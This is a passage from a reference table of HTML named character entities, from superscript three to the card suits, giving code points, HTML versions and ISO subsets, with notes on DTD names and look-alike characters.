sup3 | ³ | U+00B3 \(179\) | HTML 3.2 | HTMLlat1 | ISOnum | superscript three _\(= superscript digit three = cubed\)_  
acute | ´ | U+00B4 \(180\) | HTML 3.2 | HTMLlat1 | ISOdia | acute accent _\(= spacing acute\)_  
micro | µ | U+00B5 \(181\) | HTML 3.2 | HTMLlat1 | ISOnum | micro sign  
para | ¶ | U+00B6 \(182\) | HTML 3.2 | HTMLlat1 | ISOnum | pilcrow sign _\( = paragraph sign\)_  
middot | · | U+00B7 \(183\) | HTML 3.2 | HTMLlat1 | ISOnum | middle dot _\(= Georgian comma = Greek middle dot\)_  
cedil | ¸ | U+00B8 \(184\) | HTML 3.2 | HTMLlat1 | ISOdia | cedilla _\(= spacing cedilla\)_  
sup1 | ¹ | U+00B9 \(185\) | HTML 3.2 | HTMLlat1 | ISOnum | superscript one _\(= superscript digit one\)_  
ordm | º | U+00BA \(186\) | HTML 3.2 | HTMLlat1 | ISOnum | masculine ordinal indicator  
raquo | » | U+00BB \(187\) | HTML 3.2 | HTMLlat1 | ISOnum | right-pointing double angle quotation mark _\(= right pointing guillemet\)_  
frac14 | ¼ | U+00BC \(188\) | HTML 3.2 | HTMLlat1 | ISOnum | vulgar fraction one quarter _\(= fraction one quarter\)_  
frac12 | ½ | U+00BD \(189\) | HTML 3.2 | HTMLlat1 | ISOnum | vulgar fraction one half _\(= fraction one half\)_  
frac34 | ¾ | U+00BE \(190\) | HTML 3.2 | HTMLlat1 | ISOnum | vulgar fraction three quarters _\(= fraction three quarters\)_  
iquest | ¿ | U+00BF \(191\) | HTML 3.2 | HTMLlat1 | ISOnum | inverted question mark _\(= turned question mark\)_  
Agrave | À | U+00C0 \(192\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter A with grave _\(= Latin capital letter A grave\)_  
Aacute | Á | U+00C1 \(193\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter A with acute  
Acirc | Â | U+00C2 \(194\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter A with circumflex  
Atilde | Ã | U+00C3 \(195\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter A with tilde  
Auml | Ä | U+00C4 \(196\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter A with diaeresis  
Aring | Å | U+00C5 \(197\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter A with ring above _\(= Latin capital letter A ring\)_  
AElig | Æ | U+00C6 \(198\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter AE _\(= Latin capital ligature AE\)_  
Ccedil | Ç | U+00C7 \(199\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter C with cedilla  
Egrave | È | U+00C8 \(200\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter E with grave  
Eacute | É | U+00C9 \(201\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter E with acute  
Ecirc | Ê | U+00CA \(202\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter E with circumflex  
Euml | Ë | U+00CB \(203\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter E with diaeresis  
Igrave | Ì | U+00CC \(204\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter I with grave  
Iacute | Í | U+00CD \(205\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter I with acute  
Icirc | Î | U+00CE \(206\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter I with circumflex  
Iuml | Ï | U+00CF \(207\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter I with diaeresis  
ETH | Ð | U+00D0 \(208\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter ETH  
Ntilde | Ñ | U+00D1 \(209\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter N with tilde  
Ograve | Ò | U+00D2 \(210\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter O with grave  
Oacute | Ó | U+00D3 \(211\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter O with acute  
Ocirc | Ô | U+00D4 \(212\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter O with circumflex  
Otilde | Õ | U+00D5 \(213\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter O with tilde  
Ouml | Ö | U+00D6 \(214\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter O with diaeresis  
times | × | U+00D7 \(215\) | HTML 3.2 | HTMLlat1 | ISOnum | multiplication sign  
Oslash | Ø | U+00D8 \(216\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter O with stroke _\(= Latin capital letter O slash\)_  
Ugrave | Ù | U+00D9 \(217\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter U with grave  
Uacute | Ú | U+00DA \(218\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter U with acute  
Ucirc | Û | U+00DB \(219\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter U with circumflex  
Uuml | Ü | U+00DC \(220\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter U with diaeresis  
Yacute | Ý | U+00DD \(221\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter Y with acute  
THORN | Þ | U+00DE \(222\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin capital letter THORN  
szlig | ß | U+00DF \(223\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter sharp s _\(= ess-zed\)_ ; see German Eszett  
agrave | à | U+00E0 \(224\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter a with grave  
aacute | á | U+00E1 \(225\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter a with acute  
acirc | â | U+00E2 \(226\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter a with circumflex  
atilde | ã | U+00E3 \(227\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter a with tilde  
auml | ä | U+00E4 \(228\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter a with diaeresis  
aring | å | U+00E5 \(229\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter a with ring above  
aelig | æ | U+00E6 \(230\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter ae _\(= Latin small ligature ae\)_  
ccedil | ç | U+00E7 \(231\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter c with cedilla  
egrave | è | U+00E8 \(232\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter e with grave  
eacute | é | U+00E9 \(233\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter e with acute  
ecirc | ê | U+00EA \(234\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter e with circumflex  
euml | ë | U+00EB \(235\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter e with diaeresis  
igrave | ì | U+00EC \(236\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter i with grave  
iacute | í | U+00ED \(237\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter i with acute  
icirc | î | U+00EE \(238\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter i with circumflex  
iuml | ï | U+00EF \(239\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter i with diaeresis  
eth | ð | U+00F0 \(240\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter eth  
ntilde | ñ | U+00F1 \(241\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter n with tilde  
ograve | ò | U+00F2 \(242\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter o with grave  
oacute | ó | U+00F3 \(243\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter o with acute  
ocirc | ô | U+00F4 \(244\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter o with circumflex  
otilde | õ | U+00F5 \(245\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter o with tilde  
ouml | ö | U+00F6 \(246\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter o with diaeresis  
divide | ÷ | U+00F7 \(247\) | HTML 3.2 | HTMLlat1 | ISOnum | division sign  
oslash | ø | U+00F8 \(248\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter o with stroke _\(= Latin small letter o slash\)_  
ugrave | ù | U+00F9 \(249\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter u with grave  
uacute | ú | U+00FA \(250\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter u with acute  
ucirc | û | U+00FB \(251\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter u with circumflex  
uuml | ü | U+00FC \(252\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter u with diaeresis  
yacute | ý | U+00FD \(253\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter y with acute  
thorn | þ | U+00FE \(254\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter thorn  
yuml | ÿ | U+00FF \(255\) | HTML 2.0 | HTMLlat1 | ISOlat1 | Latin small letter y with diaeresis  
OElig | Œ | U+0152 \(338\) | HTML 4.0 | HTMLspecial | ISOlat2 | Latin capital ligature oe\[5\]  
oelig | œ | U+0153 \(339\) | HTML 4.0 | HTMLspecial | ISOlat2 | Latin small ligature oe\[6\]  
Scaron | Š | U+0160 \(352\) | HTML 4.0 | HTMLspecial | ISOlat2 | Latin capital letter s with caron  
scaron | š | U+0161 \(353\) | HTML 4.0 | HTMLspecial | ISOlat2 | Latin small letter s with caron  
Yuml | Ÿ | U+0178 \(376\) | HTML 4.0 | HTMLspecial | ISOlat2 | Latin capital letter y with diaeresis  
fnof | ƒ | U+0192 \(402\) | HTML 4.0 | HTMLsymbol | ISOtech | Latin small letter f with hook _\(= function = florin\)_  
circ | ˆ | U+02C6 \(710\) | HTML 4.0 | HTMLspecial | ISOpub | modifier letter circumflex accent  
tilde | ˜ | U+02DC \(732\) | HTML 4.0 | HTMLspecial | ISOdia | small tilde  
Alpha | Α | U+0391 \(913\) | HTML 4.0 | HTMLsymbol |  | Greek capital letter Alpha  
Beta | Β | U+0392 \(914\) | HTML 4.0 | HTMLsymbol |  | Greek capital letter Beta  
Gamma | Γ | U+0393 \(915\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek capital letter Gamma  
Delta | Δ | U+0394 \(916\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek capital letter Delta  
Epsilon | Ε | U+0395 \(917\) | HTML 4.0 | HTMLsymbol |  | Greek capital letter Epsilon  
Zeta | Ζ | U+0396 \(918\) | HTML 4.0 | HTMLsymbol |  | Greek capital letter Zeta  
Eta | Η | U+0397 \(919\) | HTML 4.0 | HTMLsymbol |  | Greek capital letter Eta  
Theta | Θ | U+0398 \(920\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek capital letter Theta  
Iota | Ι | U+0399 \(921\) | HTML 4.0 | HTMLsymbol |  | Greek capital letter Iota  
Kappa | Κ | U+039A \(922\) | HTML 4.0 | HTMLsymbol |  | Greek capital letter Kappa  
Lambda | Λ | U+039B \(923\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek capital letter Lambda  
Mu | Μ | U+039C \(924\) | HTML 4.0 | HTMLsymbol |  | Greek capital letter Mu  
Nu | Ν | U+039D \(925\) | HTML 4.0 | HTMLsymbol |  | Greek capital letter Nu  
Xi | Ξ | U+039E \(926\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek capital letter Xi  
Omicron | Ο | U+039F \(927\) | HTML 4.0 | HTMLsymbol |  | Greek capital letter Omicron  
Pi | Π | U+03A0 \(928\) | HTML 4.0 | HTMLsymbol |  | Greek capital letter Pi  
Rho | Ρ | U+03A1 \(929\) | HTML 4.0 | HTMLsymbol |  | Greek capital letter Rho  
Sigma | Σ | U+03A3 \(931\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek capital letter Sigma  
Tau | Τ | U+03A4 \(932\) | HTML 4.0 | HTMLsymbol |  | Greek capital letter Tau  
Upsilon | Υ | U+03A5 \(933\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek capital letter Upsilon  
Phi | Φ | U+03A6 \(934\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek capital letter Phi  
Chi | Χ | U+03A7 \(935\) | HTML 4.0 | HTMLsymbol |  | Greek capital letter Chi  
Psi | Ψ | U+03A8 \(936\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek capital letter Psi  
Omega | Ω | U+03A9 \(937\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek capital letter Omega  
alpha | α | U+03B1 \(945\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter alpha  
beta | β | U+03B2 \(946\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter beta  
gamma | γ | U+03B3 \(947\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter gamma  
delta | δ | U+03B4 \(948\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter delta  
epsilon | ε | U+03B5 \(949\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter epsilon  
zeta | ζ | U+03B6 \(950\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter zeta  
eta | η | U+03B7 \(951\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter eta  
theta | θ | U+03B8 \(952\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter theta  
iota | ι | U+03B9 \(953\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter iota  
kappa | κ | U+03BA \(954\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter kappa  
lambda | λ | U+03BB \(955\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter lambda  
mu | μ | U+03BC \(956\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter mu  
nu | ν | U+03BD \(957\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter nu  
xi | ξ | U+03BE \(958\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter xi  
omicron | ο | U+03BF \(959\) | HTML 4.0 | HTMLsymbol | _NEW_ | Greek small letter omicron  
pi | π | U+03C0 \(960\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter pi  
rho | ρ | U+03C1 \(961\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter rho  
sigmaf | ς | U+03C2 \(962\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter final sigma  
sigma | σ | U+03C3 \(963\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter sigma  
tau | τ | U+03C4 \(964\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter tau  
upsilon | υ | U+03C5 \(965\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter upsilon  
phi | φ | U+03C6 \(966\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter phi  
chi | χ | U+03C7 \(967\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter chi  
psi | ψ | U+03C8 \(968\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter psi  
omega | ω | U+03C9 \(969\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek small letter omega  
thetasym | ϑ | U+03D1 \(977\) | HTML 4.0 | HTMLsymbol | _NEW_ | Greek theta symbol  
upsih | ϒ | U+03D2 \(978\) | HTML 4.0 | HTMLsymbol | _NEW_ | Greek Upsilon with hook symbol  
piv | ϖ | U+03D6 \(982\) | HTML 4.0 | HTMLsymbol | ISOgrk3 | Greek pi symbol  
ensp |  | U+2002 \(8194\) | HTML 4.0 | HTMLspecial | ISOpub | en space\[7\]  
emsp |  | U+2003 \(8195\) | HTML 4.0 | HTMLspecial | ISOpub | em space\[8\]  
thinsp |  | U+2009 \(8201\) | HTML 4.0 | HTMLspecial | ISOpub | thin space\[9\]  
zwnj |  | U+200C \(8204\) | HTML 4.0 | HTMLspecial | _NEWRFC 2070_ | zero-width non-joiner  
zwj |  | U+200D \(8205\) | HTML 4.0 | HTMLspecial | _NEWRFC 2070_ | zero-width joiner  
lrm |  | U+200E \(8206\) | HTML 4.0 | HTMLspecial | _NEWRFC 2070_ | left-to-right mark  
rlm |  | U+200F \(8207\) | HTML 4.0 | HTMLspecial | _NEWRFC 2070_ | right-to-left mark  
ndash | – | U+2013 \(8211\) | HTML 4.0 | HTMLspecial | ISOpub | en dash  
mdash | — | U+2014 \(8212\) | HTML 4.0 | HTMLspecial | ISOpub | em dash  
lsquo | ‘ | U+2018 \(8216\) | HTML 4.0 | HTMLspecial | ISOnum | left single quotation mark  
rsquo | ’ | U+2019 \(8217\) | HTML 4.0 | HTMLspecial | ISOnum | right single quotation mark  
sbquo | ‚ | U+201A \(8218\) | HTML 4.0 | HTMLspecial | _NEW_ | single low-9 quotation mark  
ldquo | “ | U+201C \(8220\) | HTML 4.0 | HTMLspecial | ISOnum | left double quotation mark  
rdquo | ” | U+201D \(8221\) | HTML 4.0 | HTMLspecial | ISOnum | right double quotation mark  
bdquo | „ | U+201E \(8222\) | HTML 4.0 | HTMLspecial | _NEW_ | double low-9 quotation mark  
dagger | † | U+2020 \(8224\) | HTML 4.0 | HTMLspecial | ISOpub | dagger, obelisk  
Dagger | ‡ | U+2021 \(8225\) | HTML 4.0 | HTMLspecial | ISOpub | double dagger, double obelisk  
bull | • | U+2022 \(8226\) | HTML 4.0 | HTMLspecial | ISOpub | bullet _\(= black small circle\)_\[10\]  
hellip | … | U+2026 \(8230\) | HTML 4.0 | HTMLsymbol | ISOpub | horizontal ellipsis _\(= three dot leader\)_  
permil | ‰ | U+2030 \(8240\) | HTML 4.0 | HTMLspecial | ISOtech | per mille sign  
prime | ′ | U+2032 \(8242\) | HTML 4.0 | HTMLsymbol | ISOtech | prime _\(= minutes = feet\)_  
Prime | ″ | U+2033 \(8243\) | HTML 4.0 | HTMLsymbol | ISOtech | double prime _\(= seconds = inches\)_  
lsaquo | ‹ | U+2039 \(8249\) | HTML 4.0 | HTMLspecial | _ISO proposed_ | single left-pointing angle quotation mark\[11\]  
rsaquo | › | U+203A \(8250\) | HTML 4.0 | HTMLspecial | _ISO proposed_ | single right-pointing angle quotation mark\[12\]  
oline | ‾ | U+203E \(8254\) | HTML 4.0 | HTMLsymbol | _NEW_ | overline _\(= spacing overscore\)_  
frasl | ⁄ | U+2044 \(8260\) | HTML 4.0 | HTMLsymbol | _NEW_ | fraction slash _\(=solidus\)_  
euro | € | U+20AC \(8364\) | HTML 4.0 | HTMLspecial | _NEW_ | euro sign  
image | ℑ | U+2111 \(8465\) | HTML 4.0 | HTMLsymbol | ISOamso | black-letter capital I _\(= imaginary part\)_  
weierp | ℘ | U+2118 \(8472\) | HTML 4.0 | HTMLsymbol | ISOamso | script capital P _\(= power set =Weierstrass p\)_  
real | ℜ | U+211C \(8476\) | HTML 4.0 | HTMLsymbol | ISOamso | black-letter capital R _\(= real part symbol\)_  
trade | ™ | U+2122 \(8482\) | HTML 4.0 | HTMLsymbol | ISOnum | trademark sign  
alefsym | ℵ | U+2135 \(8501\) | HTML 4.0 | HTMLsymbol | _NEW_ | alef symbol _\(= first transfinite cardinal\)_\[13\]  
larr | ← | U+2190 \(8592\) | HTML 4.0 | HTMLsymbol | ISOnum | leftwards arrow  
uarr | ↑ | U+2191 \(8593\) | HTML 4.0 | HTMLsymbol | ISOnum | upwards arrow  
rarr | → | U+2192 \(8594\) | HTML 4.0 | HTMLsymbol | ISOnum | rightwards arrow  
darr | ↓ | U+2193 \(8595\) | HTML 4.0 | HTMLsymbol | ISOnum | downwards arrow  
harr | ↔ | U+2194 \(8596\) | HTML 4.0 | HTMLsymbol | ISOamsa | left right arrow  
crarr | ↵ | U+21B5 \(8629\) | HTML 4.0 | HTMLsymbol | _NEW_ | downwards arrow with corner leftwards _\(= carriage return\)_  
lArr | ⇐ | U+21D0 \(8656\) | HTML 4.0 | HTMLsymbol | ISOtech | leftwards double arrow\[14\]  
uArr | ⇑ | U+21D1 \(8657\) | HTML 4.0 | HTMLsymbol | ISOamsa | upwards double arrow  
rArr | ⇒ | U+21D2 \(8658\) | HTML 4.0 | HTMLsymbol | ISOnum | rightwards double arrow\[15\]  
dArr | ⇓ | U+21D3 \(8659\) | HTML 4.0 | HTMLsymbol | ISOamsa | downwards double arrow  
hArr | ⇔ | U+21D4 \(8660\) | HTML 4.0 | HTMLsymbol | ISOamsa | left right double arrow  
forall | ∀ | U+2200 \(8704\) | HTML 4.0 | HTMLsymbol | ISOtech | for all  
part | ∂ | U+2202 \(8706\) | HTML 4.0 | HTMLsymbol | ISOtech | partial differential  
exist | ∃ | U+2203 \(8707\) | HTML 4.0 | HTMLsymbol | ISOtech | there exists  
empty | ∅ | U+2205 \(8709\) | HTML 4.0 | HTMLsymbol | ISOamso | empty set _\(= null set = diameter\)_  
nabla | ∇ | U+2207 \(8711\) | HTML 4.0 | HTMLsymbol | ISOtech | nabla _\(= backward difference\)_  
isin | ∈ | U+2208 \(8712\) | HTML 4.0 | HTMLsymbol | ISOtech | element of  
notin | ∉ | U+2209 \(8713\) | HTML 4.0 | HTMLsymbol | ISOtech | not an element of  
ni | ∋ | U+220B \(8715\) | HTML 4.0 | HTMLsymbol | ISOtech | contains as member  
prod | ∏ | U+220F \(8719\) | HTML 4.0 | HTMLsymbol | ISOamsb | n-ary product _\(= product sign\)_\[16\]  
sum | ∑ | U+2211 \(8721\) | HTML 4.0 | HTMLsymbol | ISOasmb | n-ary summation\[17\]  
minus | − | U+2212 \(8722\) | HTML 4.0 | HTMLsymbol | ISOtech | minus sign  
lowast | ∗ | U+2217 \(8727\) | HTML 4.0 | HTMLsymbol | ISOtech | asterisk operator  
radic | √ | U+221A \(8730\) | HTML 4.0 | HTMLsymbol | ISOtech | square root _\(= radical sign\)_  
prop | ∝ | U+221D \(8733\) | HTML 4.0 | HTMLsymbol | ISOtech | proportional to  
infin | ∞ | U+221E \(8734\) | HTML 4.0 | HTMLsymbol | ISOtech | infinity  
ang | ∠ | U+2220 \(8736\) | HTML 4.0 | HTMLsymbol | ISOamso | angle  
and | ∧ | U+2227 \(8743\) | HTML 4.0 | HTMLsymbol | ISOtech | logical and _\(= wedge\)_  
or | ∨ | U+2228 \(8744\) | HTML 4.0 | HTMLsymbol | ISOtech | logical or _\(= vee\)_  
cap | ∩ | U+2229 \(8745\) | HTML 4.0 | HTMLsymbol | ISOtech | intersection _\(= cap\)_  
cup | ∪ | U+222A \(8746\) | HTML 4.0 | HTMLsymbol | ISOtech | union \(_= cup\)_  
int | ∫ | U+222B \(8747\) | HTML 4.0 | HTMLsymbol | ISOtech | integral  
there4 | ∴ | U+2234 \(8756\) | HTML 4.0 | HTMLsymbol | ISOtech | therefore  
sim | ∼ | U+223C \(8764\) | HTML 4.0 | HTMLsymbol | ISOtech | tilde operator _\(= varies with = similar to\)_\[18\]  
cong | ≅ | U+2245 \(8773\) | HTML 4.0 | HTMLsymbol | ISOtech | congruent to  
asymp | ≈ | U+2248 \(8776\) | HTML 4.0 | HTMLsymbol | ISOamsr | almost equal to _\(= asymptotic to\)_  
ne | ≠ | U+2260 \(8800\) | HTML 4.0 | HTMLsymbol | ISOtech | not equal to  
equiv | ≡ | U+2261 \(8801\) | HTML 4.0 | HTMLsymbol | ISOtech | identical to; sometimes used for 'equivalent to'  
le | ≤ | U+2264 \(8804\) | HTML 4.0 | HTMLsymbol | ISOtech | less-than or equal to  
ge | ≥ | U+2265 \(8805\) | HTML 4.0 | HTMLsymbol | ISOtech | greater-than or equal to  
sub | ⊂ | U+2282 \(8834\) | HTML 4.0 | HTMLsymbol | ISOtech | subset of  
sup | ⊃ | U+2283 \(8835\) | HTML 4.0 | HTMLsymbol | ISOtech | superset of\[19\]  
nsub | ⊄ | U+2284 \(8836\) | HTML 4.0 | HTMLsymbol | ISOamsn | not a subset of  
sube | ⊆ | U+2286 \(8838\) | HTML 4.0 | HTMLsymbol | ISOtech | subset of or equal to  
supe | ⊇ | U+2287 \(8839\) | HTML 4.0 | HTMLsymbol | ISOtech | superset of or equal to  
oplus | ⊕ | U+2295 \(8853\) | HTML 4.0 | HTMLsymbol | ISOamsb | circled plus _\(= direct sum\)_  
otimes | ⊗ | U+2297 \(8855\) | HTML 4.0 | HTMLsymbol | ISOamsb | circled times _\(= vector product\)_  
perp | ⊥ | U+22A5 \(8869\) | HTML 4.0 | HTMLsymbol | ISOtech | up tack _\(= orthogonal to =perpendicular\)_\[20\]  
sdot | ⋅ | U+22C5 \(8901\) | HTML 4.0 | HTMLsymbol | ISOamsb | dot operator\[21\]  
lceil | ⌈ | U+2308 \(8968\) | HTML 4.0 | HTMLsymbol | ISOamsc | left ceiling _\(= APL upstile\)_  
rceil | ⌉ | U+2309 \(8969\) | HTML 4.0 | HTMLsymbol | ISOamsc | right ceiling  
lfloor | ⌊ | U+230A \(8970\) | HTML 4.0 | HTMLsymbol | ISOamsc | left floor _\(= APL downstile\)_  
rfloor | ⌋ | U+230B \(8971\) | HTML 4.0 | HTMLsymbol | ISOamsc | right floor  
lang | 〈 | U+27E8 \(10216\) | HTML 5.0 | HTMLsymbol | ISOtech | mathematical left angle bracket _\(= bra\)_\[22\]  
rang | 〉 | U+27E9 \(10217\) | HTML 5.0 | HTMLsymbol | ISOtech | mathematical right angle bracket _\(= ket\)_\[23\]  
loz | ◊ | U+25CA \(9674\) | HTML 4.0 | HTMLsymbol | ISOpub | lozenge  
spades | ♠ | U+2660 \(9824\) | HTML 4.0 | HTMLsymbol | ISOpub | black spade suit\[24\]  
clubs | ♣ | U+2663 \(9827\) | HTML 4.0 | HTMLsymbol | ISOpub | black club suit _\(= shamrock\)_\[25\]  
hearts | ♥ | U+2665 \(9829\) | HTML 4.0 | HTMLsymbol | ISOpub | black heart suit _\(= valentine\)_\[26\]  
diams | ♦ | U+2666 \(9830\) | HTML 4.0 | HTMLsymbol | ISOpub | black diamond suit\[27\]  
Notes:

  * **^** DTD: the full public DTD name \(where the character entity name is defined\) is actually mapped from one of the following three defined named entities: 
HTMLlat1

    maps to: 
    * `PUBLIC "-//W3C//ENTITIES Latin 1//EN//HTML"` in HTML \(the DTD is implicitly defined, no system URI is needed\);
    * `PUBLIC "-//W3C//ENTITIES Latin 1 for XHTML//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml-lat1.ent"` in XHTML 1.0;
HTMLsymbol

    maps to: 
    * `PUBLIC "-//W3C//ENTITIES Symbols//EN//HTML"` in HTML \(the DTD is implicitly defined, no system URI is needed\);
    * `PUBLIC "-//W3C//ENTITIES Symbols for XHTML//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml-symbol.ent"` in XHTML 1.0;
HTMLspecial

    maps to: 
    * `PUBLIC "-//W3C//ENTITIES Special//EN//HTML"` in HTML \(the DTD is implicitly defined, no system URI is needed\);
    * `PUBLIC "-//W3C//ENTITIES Special for XHTML//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml-special.ent"` in XHTML 1.0.
  * **^** Old ISO subset: these are old \(documented\) character subsets used in legacy encodings before the unification within ISO 10646.
  * **^** Description: the standard ISO 10646 and Unicode character name is displayed first for each character, with non-standard but legacy synonyms shown in italics between parentheses after an equal sign\)
  * **^** spaces: a blue background has been used in order to display each space's width.
  * **^** ISO proposed: these characters have been standardized in ISO 10646 after the release of HTML 4.0.
  * **^** ligature: this is a standard misnomer as this is a separate character in some languages.
  * **^** black: here it seems to mean filled as opposed to hollow.
  * **^** `alefsym`: 'alef symbol' is NOT the same as U+05D0 'Hebrew letter alef', although the same glyph could be used to depict both characters.
  * **^** `lArr`: ISO 10646 does not say that 'leftwards double arrow' is the same as the 'is implied by' arrow but also does not have any other character for that function. So `lArr` can be used for 'is implied by' as ISOtech suggests.
  * **^** `rArr`: ISO 10646 does not say that 'rightwards double arrow' is the 'implies' character but does not have another character with this function so `rArr` can be used for 'implies' as ISOtech suggests.
  * **^** `prod`: 'n-ary product' is NOT the same character as U+03A0 'Greek capital letter Pi' though the same glyph might be used for both.
  * **^** `sum`: 'n-ary summation' is NOT the same character as U+03A3 'Greek capital letter Sigma' though the same glyph might be used for both.
  * **^** `sim`: 'tilde operator' is NOT the same character as U+007E 'tilde', although the same glyph might be used to represent both.
  * **^** `sup`: note that `nsup`, U+2283 'not a superset of', is not covered by the Symbol font encoding and is not included. Should it be, for symmetry? It is in the ISOamsn subset.
  * **^** `perp`: Unicode only defines U+22A5 as the "up tack". The Unicode symbol for "perpendicular" is U+27C2. The two symbols look similar, but are separate in Unicode. However, HTML uses U+22A5 as its "perpendicular" symbol. This is a discrepancy between HTML and Unicode. As well, the U+22A4 character \(the "down tack" symbol\) rendered in a browser such as Firefox 3.6 can match the font of either "up tack" or "perpendicular", but not both, depending on whether a fixed-width or a proportional font is used. When viewed in Firefox 3.6, the symbols rendered in the order U+22A5, U+22A4, U+27C2 in a proportional font: ⊥ ⊤ ⟂ and a fixed width one: `⊥ ⊤ ⟂`, shows that the "down tack" has a similar look to U+22A5 \(HTML's "perpendicular"\) in the first case but matches U+27C2 in the second. This exemplifies the difficulties of the semiotics involved in interpreting glyphs, symbols and characters generally.
  * **^** `sdot`: 'dot operator' is NOT the same character as U+00B7 'middle dot'.
